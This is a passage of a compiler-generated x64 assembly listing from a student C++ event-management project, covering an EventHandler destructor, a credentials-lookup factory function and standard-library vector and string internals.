<_Args_0>$ = 344
?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA PROC ; `std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>'::`1'::dtor$0
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
push rbp
push rdi
sub rsp, 40 ; 00000028H
lea rbp, QWORD PTR [rdx+32]
mov edx, 472 ; 000001d8H
mov rcx, QWORD PTR $T2[rbp]
call ??3@YAXPEAX_K@Z ; operator delete
add rsp, 40 ; 00000028H
pop rdi
pop rbp
ret 0
?dtor$0@?0???$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA ENDP ; `std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>'::`1'::dtor$0
text$x ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ??1EventHandler@Event@Domain@@UEAA@XZ
_TEXT SEGMENT
this$ = 224
??1EventHandler@Event@Domain@@UEAA@XZ PROC ; Domain::Event::EventHandler::~EventHandler, COMDAT
; 19 : EventHandler::~EventHandler() noexcept = default;
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
mov rax, QWORD PTR this$[rbp]
lea rcx, OFFSET FLAT:??_7EventHandler@Event@Domain@@6B@
mov QWORD PTR [rax], rcx
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??1EventHandler@Event@Domain@@UEAA@XZ ENDP ; Domain::Event::EventHandler::~EventHandler
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Users\danhp\Documents\GitHub\CPSC-462-GROUP-2\C++ Development Root\SourceCode\Domain\Event\EventHandler.cpp
; COMDAT ?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z
_TEXT SEGMENT
persistentData$ = 8
credentialsFromDB$ = 48
$T4 = 392
$T5 = 420
tv92 = 440
tv73 = 440
__$ArrayPad$ = 448
__$ReturnUdt$ = 496
user$ = 504
?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z PROC ; Domain::Event::EventHandler::UseEventManagement, COMDAT
; 25 : {
$LN8:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 504 ; 000001f8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 126 ; 0000007eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+536]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
mov DWORD PTR $T5[rbp], 0
lea rcx, OFFSET FLAT:__28D8CDA7_EventHandler@cpp
call __CheckForDebuggerJustMyCode
; 26 : auto& persistentData = TechnicalServices::Persistence::PersistenceHandler::instance();
call ?instance@PersistenceHandler@Persistence@TechnicalServices@@SAAEAV123@XZ ; TechnicalServices::Persistence::PersistenceHandler::instance
mov QWORD PTR persistentData$[rbp], rax
; 27 : UserCredentials credentialsFromDB = persistentData.findCredentialsByName(user.userName);
mov rax, QWORD PTR persistentData$[rbp]
mov rax, QWORD PTR [rax]
mov rax, QWORD PTR [rax+16]
mov QWORD PTR tv73[rbp], rax
mov rax, QWORD PTR user$[rbp]
add rax, 8
mov r8, rax
lea rdx, QWORD PTR credentialsFromDB$[rbp]
mov rcx, QWORD PTR persistentData$[rbp]
call QWORD PTR tv73[rbp]
npad 1
; 28 : if (credentialsFromDB.status == 1) return std::make_unique<Domain::Event::EventManagement>(user);
cmp DWORD PTR credentialsFromDB$[rbp+120], 1
jne SHORT $LN2@UseEventMa
mov rdx, QWORD PTR user$[rbp]
lea rcx, QWORD PTR $T4[rbp]
call ??$make_unique@UEventManagement@Event@Domain@@AEBUUserCredentials@Persistence@TechnicalServices@@$0A@@std@@YA?AV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@0@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ; std::make_unique<Domain::Event::EventManagement,TechnicalServices::Persistence::UserCredentials const &,0>
mov QWORD PTR tv92[rbp], rax
mov rdx, QWORD PTR tv92[rbp]
mov rcx, QWORD PTR __$ReturnUdt$[rbp]
call ??$?0UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$QEAV?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@1@@Z ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement>,0>
mov eax, DWORD PTR $T5[rbp]
or eax, 1
mov DWORD PTR $T5[rbp], eax
lea rcx, QWORD PTR $T4[rbp]
call ??1?$unique_ptr@UEventManagement@Event@Domain@@U?$default_delete@UEventManagement@Event@Domain@@@std@@@std@@QEAA@XZ ; std::unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >::~unique_ptr<Domain::Event::EventManagement,std::default_delete<Domain::Event::EventManagement> >
npad 1
lea rcx, QWORD PTR credentialsFromDB$[rbp]
call ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
mov rax, QWORD PTR __$ReturnUdt$[rbp]
jmp SHORT $LN1@UseEventMa
$LN2@UseEventMa:
; 29 :
; 30 : return nullptr;
xor edx, edx
mov rcx, QWORD PTR __$ReturnUdt$[rbp]
call ??$?0U?$default_delete@VEventHandler@Event@Domain@@@std@@$0A@@?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@QEAA@$$T@Z ; std::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> >::unique_ptr<Domain::Event::EventHandler,std::default_delete<Domain::Event::EventHandler> ><std::default_delete<Domain::Event::EventHandler>,0>
mov eax, DWORD PTR $T5[rbp]
or eax, 1
mov DWORD PTR $T5[rbp], eax
lea rcx, QWORD PTR credentialsFromDB$[rbp]
call ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
mov rax, QWORD PTR __$ReturnUdt$[rbp]
$LN1@UseEventMa:
; 31 : }
mov rdi, rax
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z$rtcFrameData
call _RTC_CheckStackVars
mov rax, rdi
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+472]
pop rdi
pop rbp
ret 0
?UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z ENDP ; Domain::Event::EventHandler::UseEventManagement
_TEXT ENDS
; COMDAT text$x
text$x SEGMENT
persistentData$ = 8
credentialsFromDB$ = 48
$T4 = 392
$T5 = 420
tv92 = 440
tv73 = 440
__$ArrayPad$ = 448
__$ReturnUdt$ = 496
user$ = 504
?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA PROC ; `Domain::Event::EventHandler::UseEventManagement'::`1'::dtor$0
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
push rbp
push rdi
sub rsp, 40 ; 00000028H
lea rbp, QWORD PTR [rdx+32]
lea rcx, QWORD PTR credentialsFromDB$[rbp]
call ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
add rsp, 40 ; 00000028H
pop rdi
pop rbp
ret 0
?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA ENDP ; `Domain::Event::EventHandler::UseEventManagement'::`1'::dtor$0
text$x ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT text$x
text$x SEGMENT
persistentData$ = 8
credentialsFromDB$ = 48
$T4 = 392
$T5 = 420
tv92 = 440
tv73 = 440
__$ArrayPad$ = 448
__$ReturnUdt$ = 496
user$ = 504
?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA PROC ; `Domain::Event::EventHandler::UseEventManagement'::`1'::dtor$0
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
push rbp
push rdi
sub rsp, 40 ; 00000028H
lea rbp, QWORD PTR [rdx+32]
lea rcx, QWORD PTR credentialsFromDB$[rbp]
call ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
add rsp, 40 ; 00000028H
pop rdi
pop rbp
ret 0
?dtor$0@?0??UseEventManagement@EventHandler@Event@Domain@@SA?AV?$unique_ptr@VEventHandler@Event@Domain@@U?$default_delete@VEventHandler@Event@Domain@@@std@@@std@@AEBUUserCredentials@Persistence@TechnicalServices@@@Z@4HA ENDP ; `Domain::Event::EventHandler::UseEventManagement'::`1'::dtor$0
text$x ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT ??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ
_TEXT SEGMENT
this$ = 224
??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ PROC ; TechnicalServices::Persistence::UserCredentials::~UserCredentials, COMDAT
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
mov rax, QWORD PTR this$[rbp]
add rax, 88 ; 00000058H
mov rcx, rax
call ??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
mov rax, QWORD PTR this$[rbp]
add rax, 48 ; 00000030H
mov rcx, rax
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov rax, QWORD PTR this$[rbp]
add rax, 8
mov rcx, rax
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??1UserCredentials@Persistence@TechnicalServices@@QEAA@XZ ENDP ; TechnicalServices::Persistence::UserCredentials::~UserCredentials
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ
_TEXT SEGMENT
this$ = 224
?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ PROC ; std::_Compressed_pair<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::_Vector_val<std::_Simple_types<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,1>::_Get_first, COMDAT
; 1346 : constexpr _Ty1& _Get_first() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1347 : return *this;
mov rax, QWORD PTR this$[rbp]
; 1348 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ENDP ; std::_Compressed_pair<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::_Vector_val<std::_Simple_types<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,1>::_Get_first
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\vector
; COMDAT ?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ
_TEXT SEGMENT
this$ = 224
?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ PROC ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal, COMDAT
; 1732 : _Alty& _Getal() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__9B902D3A_vector
call __CheckForDebuggerJustMyCode
; 1733 : return _Mypair._Get_first();
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Get_first@?$_Compressed_pair@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@V?$_Vector_val@U?$_Simple_types@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@2@$00@std@@QEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::_Compressed_pair<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >,std::_Vector_val<std::_Simple_types<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,1>::_Get_first
; 1734 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ENDP ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\vector
; COMDAT ?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ
_TEXT SEGMENT
_My_data$ = 8
_Myfirst$ = 40
_Mylast$ = 72
_Myend$ = 104
tv90 = 312
tv88 = 320
tv86 = 328
this$ = 368
?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ PROC ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Tidy, COMDAT
; 1686 : void _Tidy() noexcept { // free all storage
$LN4:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 376 ; 00000178H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 94 ; 0000005eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+408]
lea rcx, OFFSET FLAT:__9B902D3A_vector
call __CheckForDebuggerJustMyCode
; 1687 : auto& _My_data = _Mypair._Myval2;
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR _My_data$[rbp], rax
; 1688 : pointer& _Myfirst = _My_data._Myfirst;
mov rax, QWORD PTR _My_data$[rbp]
add rax, 8
mov QWORD PTR _Myfirst$[rbp], rax
; 1689 : pointer& _Mylast = _My_data._Mylast;
mov rax, QWORD PTR _My_data$[rbp]
add rax, 16
mov QWORD PTR _Mylast$[rbp], rax
; 1690 : pointer& _Myend = _My_data._Myend;
mov rax, QWORD PTR _My_data$[rbp]
add rax, 24
mov QWORD PTR _Myend$[rbp], rax
; 1691 :
; 1692 : _My_data._Orphan_all();
mov rcx, QWORD PTR _My_data$[rbp]
call ?_Orphan_all@_Container_base12@std@@QEAAXXZ ; std::_Container_base12::_Orphan_all
; 1693 :
; 1694 : if (_Myfirst) { // destroy and deallocate old array
mov rax, QWORD PTR _Myfirst$[rbp]
cmp QWORD PTR [rax], 0
je $LN2@Tidy
; 1695 : _Destroy(_Myfirst, _Mylast);
mov rax, QWORD PTR _Mylast$[rbp]
mov r8, QWORD PTR [rax]
mov rax, QWORD PTR _Myfirst$[rbp]
mov rdx, QWORD PTR [rax]
mov rcx, QWORD PTR this$[rbp]
call ?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Destroy
; 1696 : _Getal().deallocate(_Myfirst, static_cast<size_type>(_Myend - _Myfirst));
mov rcx, QWORD PTR this$[rbp]
call ?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal
mov QWORD PTR tv90[rbp], rax
mov rax, QWORD PTR _Myend$[rbp]
mov rcx, QWORD PTR _Myfirst$[rbp]
mov rcx, QWORD PTR [rcx]
mov rax, QWORD PTR [rax]
sub rax, rcx
cdq
mov ecx, 40 ; 00000028H
idiv rcx
mov QWORD PTR tv88[rbp], rax
mov rax, QWORD PTR _Myfirst$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR tv86[rbp], rax
mov r8, QWORD PTR tv88[rbp]
mov rdx, QWORD PTR tv86[rbp]
mov rcx, QWORD PTR tv90[rbp]
call ?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z ; std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >::deallocate
; 1697 :
; 1698 : _Myfirst = pointer();
mov rax, QWORD PTR _Myfirst$[rbp]
mov QWORD PTR [rax], 0
; 1699 : _Mylast = pointer();
mov rax, QWORD PTR _Mylast$[rbp]
mov QWORD PTR [rax], 0
; 1700 : _Myend = pointer();
mov rax, QWORD PTR _Myend$[rbp]
mov QWORD PTR [rax], 0
$LN2@Tidy:
; 1701 : }
; 1702 : }
lea rsp, QWORD PTR [rbp+344]
pop rdi
pop rbp
ret 0
?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ ENDP ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Tidy
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\vector
; COMDAT ?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z
_TEXT SEGMENT
this$ = 224
_First$ = 232
_Last$ = 240
?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z PROC ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Destroy, COMDAT
; 1611 : void _Destroy(pointer _First, pointer _Last) { // destroy [_First, _Last) using allocator
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__9B902D3A_vector
call __CheckForDebuggerJustMyCode
; 1612 : _Destroy_range(_First, _Last, _Getal());
mov rcx, QWORD PTR this$[rbp]
call ?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal
mov r8, rax
mov rdx, QWORD PTR _Last$[rbp]
mov rcx, QWORD PTR _First$[rbp]
call ??$_Destroy_range@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@@std@@YAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@QEAV10@AEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@0@@Z ; std::_Destroy_range<std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
; 1613 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Destroy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXPEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@0@Z ENDP ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Destroy
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\vector
; COMDAT ??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ
_TEXT SEGMENT
_Alproxy$ = 8
$S6$ = 36
$T4 = 260
__$ArrayPad$ = 280
this$ = 320
??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ PROC ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >, COMDAT
; 672 : ~vector() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 328 ; 00000148H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 82 ; 00000052H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+360]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__9B902D3A_vector
call __CheckForDebuggerJustMyCode
; 673 : _Tidy();
mov rcx, QWORD PTR this$[rbp]
call ?_Tidy@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAXXZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Tidy
; 674 : #if _ITERATOR_DEBUG_LEVEL != 0
; 675 : auto&& _Alproxy = _GET_PROXY_ALLOCATOR(_Alty, _Getal());
mov rcx, QWORD PTR this$[rbp]
call ?_Getal@?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@AEAAAEAV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@XZ ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::_Getal
mov rdx, rax
lea rcx, QWORD PTR $S6$[rbp]
